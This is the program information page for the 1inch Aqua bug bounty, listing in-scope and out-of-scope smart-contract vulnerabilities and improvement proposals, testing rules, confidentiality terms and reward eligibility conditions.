1inch Aqua: Program info

In-scope vulnerabilities

The following vulnerabilities are considered in-scope:

• Reordering
• Reentrancy
• Stealing or loss of funds
• Unauthorized transaction
• Transaction manipulation
• Overflows and underflows
• Attacks on logic (the behavior of the code is different from the business description)

All in-scope vulnerability reports must include a Proof of Concept (PoC) that demonstrates real-world impact. Submissions without a PoC will not be considered.

Out-of-scope vulnerabilities

Vulnerabilities identified in out-of-scope resources are generally not eligible for rewards unless they present a significant business risk, as determined at our sole discretion.

The following items are generally excluded from reward eligibility due to insufficient severity or lack of relevance to the program’s defined scope:

• Redundant code
• Best-practice issues
• Old compiler version
• Code style guide violations
• The compiler version is not locked
• Vulnerabilities in imported contracts
• Lack of support for Fee-on-Transfer (FoT) tokens
• Known third-party bugs (except for our misconfiguration issues)
• Theoretical or purely speculative exploits without demonstrated business impact

In-scope improvement proposals

The following proposals are in scope for this program:

• Accounting/invariant correctness (liquidity shares, fees/rewards, rounding/precision)
• New features or protocol mechanics that materially improve user value, safety, or capital efficiency
• Integration fixes where 1inch-specific configuration/initialization of third-party libraries creates risk
• MEV/price-manipulation resistance (oracle usage, slippage/deadline handling, sandwich protection)
• Substantial gas efficiency improvements (≥1k gas net savings per typical user transaction on hot paths)
• Security hardening of existing contracts (tighter authorization/roles, reentrancy mitigations, invariant enforcement)

We invite contributors to submit thoughtful and constructive proposals. Each proposal should describe the rationale and expected impact, identify affected contracts or components, outline minimal tests and benchmarks, and, if relevant, note any migration considerations. A good PoC typically includes clear before/after evidence, a minimal reproducible example, and a brief implementation outline demonstrating how the change would be applied.

While we reserve the right to decline proposals, our aim is to encourage constructive discussion and contribution from the community.

Out-of-scope improvement proposals

The following proposals are out of scope for this program:

• Changes that weaken security/correctness or materially increase complexity risk
• Pure refactors (style/naming/comments) without measurable security or cost impact
• Compiler/pragma/lint/config changes that do not demonstrably improve safety or efficiency
• New features or protocol mechanics (feature requests) rather than improvements to existing contracts
• Duplicates of known issues/roadmap items, unless providing substantial new insight or a materially better solution
• Micro gas optimizations (< 1k gas net savings per typical user transaction on hot paths) or changes that merely shift costs between paths without net benefit
• Proposals dependent on third-party code we do not control, or targeting imported libraries, except where 1inch-specific integration/initialization causes the issue
• Off-chain only suggestions (UI, backend, indexers, docs) unless they directly and materially improve on-chain security

Known issues

https://github.com/1inch/1inch-audits/tree/master

• AI-generated reports will not be considered
• Automated scanning results will not be considered
• Do not access or modify data belonging to other users
• Non-production vulnerabilities are limited to High severity
• Perform testing only within the scope described in this program
• Do not spam forms or account creation flows using automated tools
• Avoid compromising any personal data, interruption, or degradation of any service
• Do not exploit any DoS/DDoS vulnerabilities, social engineering attacks, or spam methods
• Remain compliant with all applicable laws and operate strictly within the defined testing scope
• Avoid causing any disruption to the availability of products, services, or infrastructure
• Bounty reward is determined by the proportion of potential damage and is limited by a severity rewards range
• Do not share details of any vulnerabilities with anyone outside the authorized team without explicit written permission from the organization

• All information related to this program, including any discovered vulnerabilities (resolved or unresolved), must be kept strictly confidential. Public disclosure — including partial disclosure or discussion in any public forum, channel, or platform — is strictly prohibited without the organization's explicit written consent

We value all valid reports that help us strengthen our security. To qualify for a monetary reward, the following eligibility conditions must be fulfilled:

• You must be the first reporter of a vulnerability or proposer of an improvement
• The submission must be a qualifying (in-scope) vulnerability or improvement proposal
• Any vulnerability or improvement found must be reported no later than 24 hours after discovery or completion
• You must send a clear textual description of the report and detailed steps to reproduce the issue. Include attachments such as screenshots or code if necessary
• Include clear and concise reproduction steps to help us verify and assess the impact of the reported issue efficiently
• Reports and payout details may be checked against OFAC/EU/UK sanctions lists. Payment may be withheld or delayed if prohibited by applicable law or sanctions
• Keep all report details strictly confidential until a fix is deployed. After coordinated disclosure, only minimal technical details may be shared. Publishing modified core source code or binaries is prohibited